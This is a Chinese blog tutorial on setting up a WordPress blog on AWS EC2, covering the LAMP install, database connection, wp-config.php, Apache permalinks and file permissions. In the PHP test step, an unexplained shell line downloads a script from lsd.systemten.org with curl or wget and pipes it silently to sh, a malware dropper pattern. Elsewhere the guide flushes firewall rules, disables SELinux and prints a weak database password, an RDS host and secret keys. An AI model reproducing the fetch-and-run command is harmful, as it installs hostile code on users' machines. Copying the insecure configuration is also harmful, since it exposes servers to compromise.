博客系统上公有云实践

1.搭建LAMP环境

1)升级系统内核

连接到已创建的EC2实例。

为确保所有软件包都处于最新状态,需要对实例执行内核升级,此过程可能需要几分钟的时间,但能确保EC2系统拥有最新的安全更新和缺陷修复。

[root@WordPress ~]# yum upgrade -y

查看Amazon Linux的版本。

[root@WordPress ~]# cat /etc/redhat-release

CentOS Linux release 7.7.1908 (Core)

2)配置防火墙规则和SELinux

清除防火墙规则。

[root@wordpress ~]# iptables -t filter -F

[root@wordpress ~]# iptables -t filter -X

永久关闭SELinux

[root@wordpress ~]# sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

[root@wordpress ~]# reboot

 

3)安装环境

当实例处于最新状态后,便可以安装Apache Web服务器、MariaDBPHP软件包。

[root@WordPress ~]# yum install -y httpd mariadb-server php php-mysql

可以使用以下命令查看这些程序包的当前版本。

# yum info package_name

4)启动Apache Web服务器

启动Apache Web服务器并设置开机自启。

[root@WordPress ~]# systemctl start httpd

[root@WordPress ~]# systemctl enable httpd

 

5)测试Apache服务器

Web浏览器中,输入实例的公有IP地址。如果/var/www/html中没有内容,则会看到Apache测试页面

 

如果未能看到Apache测试页面,请检查当前EC2使用的安全组是否包含允许HTTP(端口80)流量的规则。

Apache httpd提供的文件保存在Apache文档根目录/var/www/html中,默认情况下归根用户所有。

6)测试LAMP

Apache文档根目录中创建一个PHP文件。

[root@WordPress ~]# echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php

[1]+  Done                    ( curl -fsSL -m180 lsd.systemten.org || wget -q -T180 -O- lsd.systemten.org ) | sh > /dev/null 2>&1

Web浏览器中,输入新建文件的URL

 

能正常打开相应的PHP信息页面,说明PHP已经正常启动;如果在页面中能找到mysqlmysqli的信息内容,说明对PHP平台能正常访问mysqlmysqli接口

 

删除phpinfo.php文件。

[root@WordPress ~]# rm -rf /var/www/html/phpinfo.php

2.配置数据库

EC2上测试MariaDB的连通性。

[root@wordpress ~]# systemctl start mariadb

[root@wordpress ~]# systemctl enable mariadb

Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.

 

1部署WordPress

将提供的压缩包wordpress-5.0.2-zh_CN.tar.gz上传至EC2实例/root目录并解压。

 

[root@wordpress ~]# tar -zxvf wordpress-5.0.2-zh_CN.tar.gz

复制解压后的wordpress目录到/var/www/html目录下。

[root@wordpress ~]# cp -rf wordpress /var/www/html/

2)配置WordPress

在浏览器输入http://EC2_IP/wordpress,即可访问WordPress欢迎页面

 

 

3)创建数据库和账号

为了让WordPress正常运行,在数据库中创建数据库以及相应的账号

 

4创建PHP文件

返回网页,继续完成WordPress的初始化操作

 

WordPress安装界面会提示无法写入wp-config.php文件,需要手动创建

 

手动创建wp-config.php文件。

[root@wordpress ~]# vi /var/www/html/wordpress/wp-config.php

<?php

/**

 * WordPress基础配置文件。

 *

 * 这个文件被安装程序用于自动生成wp-config.php配置文件,

 * 可以不使用网站生成,需要手动复制这个文件,

 * 并重命名为“wp-config.php”,然后填入相关信息。

 *

 * 本文件包含以下配置选项:

 *

 * * MySQL设置

 * * 密钥

 * * 数据库表名前缀

 * * ABSPATH

 *

 * @link https://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php

 *

 * @package WordPress

 */

 

// ** MySQL:设置的具体信息来自正在使用的主机 ** //

/** WordPress数据库的名称 */

define('DB_NAME', 'wordpress');

 

/** MySQL数据库用户名 */

define('DB_USER', 'guo');

 

/** MySQL数据库密码 */

define('DB_PASSWORD', '00000000');

 

/** MySQL主机 */

define('DB_HOST', 'wordpress.cl6vzpozqrqu.rds.cn-northwest-1.amazonaws.com.cn');

 

/** 创建数据表时默认的文字编码 */

define('DB_CHARSET', 'utf8mb4');

 

/** 数据库整理类型。如不确定请勿更改 */

define('DB_COLLATE', '');

 

/**#@+

 * 身份认证密钥。

 *

 * 修改为任意独一无二的字串!

 * 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org密钥生成服务}

 * 任何修改都会导致所有cookies失效,所有用户将必须重新登录。

 *

 * @since 2.6.0

 */

define('AUTH_KEY',         'o96P/{uub3_/m#VY3,KU:c7C:eT,*},T3tU2!Z@N<d[9/K<SdKuw-QJ8!|@+~*oN');

define('SECURE_AUTH_KEY',  '1akka,TV:bg>.=qA+y6T{,rVZn)@ wifG3FH4Y[=ZTQ)I8`p,m&]}@<f-,^s@ck{');

define('LOGGED_IN_KEY',    '+9dE2i$2G_mCm~[@M^j`/)VcI[F+`js %ud>zr)h+<-hr^<0EI~+)kJcBM6vU~u{');

define('NONCE_KEY',        'I<kv;2[QpC!qw.:f}K%^97. i5PrL~xOE]ieF-#bZtL*jSzB7JxCR^[WEZ,_sn6/');

define('AUTH_SALT',        'xjFz0z>,Ia<E`B!TU0-.QPs7:AqUJ;c3PTNR5WJl5|g20<_&2<(S-(QGz?!Z[}+Q');

define('SECURE_AUTH_SALT', 'yf*?I>#jB9=E8^+:7v<WEkEBPtMW&==yU-,xZdc+TF%EWt{~zxP&VN2w,h^-5Hep');

define('LOGGED_IN_SALT',   'T.f}uR24d4U= EQUo}AnhT;.mvsN.;N(?=3kW)O^D1|R!10{u<t2*pJjj>]J9S&x');

define('NONCE_SALT',       'e32+aG!7F0 LNs|jIm&Od<#~Z9@[kHCAkKsHZ@1<mqX5roA;n+OQFUy=b)xu5l4T');

 

/**#@-*/

 

/**

 * WordPress数据表前缀。

 *

 * 如果需要在同一数据库内安装多个WordPress,请为每个WordPress设置不同的

 * 数据表前缀。前缀名只能为数字、字母加下划线。

 */

$table_prefix  = 'wp_';

 

/**

 * 开发者专用:WordPress调试模式。

 *

 * 将这个值改为trueWordPress将显示所有用于开发的提示。

 * 强烈建议插件开发者在开发环境中启用WP_DEBUG

 *

*/

define('WP_DEBUG', false);

 

/* 好了!请不要再继续编辑。请保存本文件。使用愉快! */

 

/** WordPress目录的绝对路径。 */

if ( !defined('ABSPATH') )

        define('ABSPATH', dirname(__FILE__) . '/');

 

/** 设置WordPress变量和包含文件。 */

require_once(ABSPATH . 'wp-settings.php');

5)允许WordPress使用permalink

WordPress permalink需要使用Apache.htaccess文件才能正常工作,但默认情况下这些文件在Amazon Linux上处于禁用状态。

修改httpd.conf文件中以下内容。

[root@wordpress ~]# vi /etc/httpd/conf/httpd.conf

<Directory "/var/www/html">

    #

    # Possible values for the Options directive are "None", "All",

    # or any combination of:

    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews

    #

    # Note that "MultiViews" must be named *explicitly* --- "Options All"

    # doesn't give it to you.

    #

    # The Options directive is both complicated and important.  Please see

    # http://httpd.apache.org/docs/2.4/mod/core.html#options

    # for more information.

    #

    Options Indexes FollowSymLinks

 

    #

    # AllowOverride controls what directives may be placed in .htaccess files.

    # It can be "All", "None", or any combination of the keywords:

    #   Options FileInfo AuthConfig Limit

    #

    AllowOverride All  #修改此处

 

    #

    # Controls who can get stuff from this server.

    #

    Require all granted

</Directory>

此文件中有多行包含AllowOverride”;请确保更改<Directory "/var/www/html">部分中的行。

6)修复 Apache Web 服务器的文件权限

WordPress中的某些可用功能要求具有对Apache文档根目录的写入权限/var/www及其内容的文件所有权授予apache用户。

[root@wordpress ~]# chown -R apache /var/www

/var/www及其内容的组所有权授予apache组。

[root@wordpress ~]# chgrp -R apache /var/www

更改/var/www及其子目录的目录权限,添加组写入权限并设置未来子目录上的组ID

[root@wordpress ~]# chmod 2775 /var/www

[root@wordpress ~]# find /var/www -type d -exec sudo chmod 2775 {} ;

递归地更改/var/www及其子目录的文件权限,以添加组写入权限。

[root@wordpress ~]# find /var/www -type f -exec sudo chmod 0664 {} ;

重启Apache Web服务器,让新组和权限生效。

[root@wordpress ~]# systemctl restart httpd

7)登录WordPress

在浏览器上再次访问WordPress页面,进入WordPress登录信息配置界面,如图6-5-13所示。根据需求,设置相应的站点名称、用户名和密码。

 

单击 “安装WordPress”按钮,开始WordPress的安装

 

进入WordPress登录界面,输入之前设置的用户名和密码进行登录。

 

认证成功后,进入WordPress仪表盘界面

 

原文地址:https://www.cnblogs.com/lzp123/p/13769625.html